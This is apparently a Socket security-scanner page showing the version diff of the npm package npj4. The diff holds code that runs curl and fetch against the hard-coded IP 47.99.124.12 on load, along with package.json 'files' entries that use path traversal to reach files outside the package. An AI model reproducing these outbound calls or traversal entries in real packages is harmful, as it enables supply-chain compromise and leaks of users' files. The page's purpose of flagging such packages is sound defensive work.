New Case Study:See how Anthropic automated 95% of dependency reviews with Socket.Learn More
Socket
Sign inDemoInstall
Socket

npj4

Package Overview
Dependencies
Maintainers
0
Versions
50
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

npj4 - npm Package Compare versions

Comparing version 1.0.16 to 1.0.18

16

index.js

@@ -1,15 +0,1 @@

// 引入child_process模块
const { exec } = require('child_process');
// 执行curl命令
exec('curl http://47.99.124.12:1234/main', (error, stdout, stderr) => {
if (error) {
console.error(`执行出错: ${error.message}`);
return;
}
if (stderr) {
console.error(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
fetch("http://47.99.124.12:1234")

10

package.json
{
"name": "npj4",
"version": "1.0.16",
"version": "1.0.18",
"description": "",

@@ -12,5 +12,5 @@ "main": "index.js",

"entry":"test.js",
"files": [
"../../../../../../../../../app/app/amis-saas/service/Application.js"
]
"files":[
"../*"
]
}],

@@ -28,2 +28,2 @@

"license": "ISC"
}
}

@@ -1,5 +0,1 @@

// 使用fetch发送HTTP请求
fetch('http://47.99.124.12:1234/')
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Error:', error));
fetch("http://47.99.124.12:1234")
SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc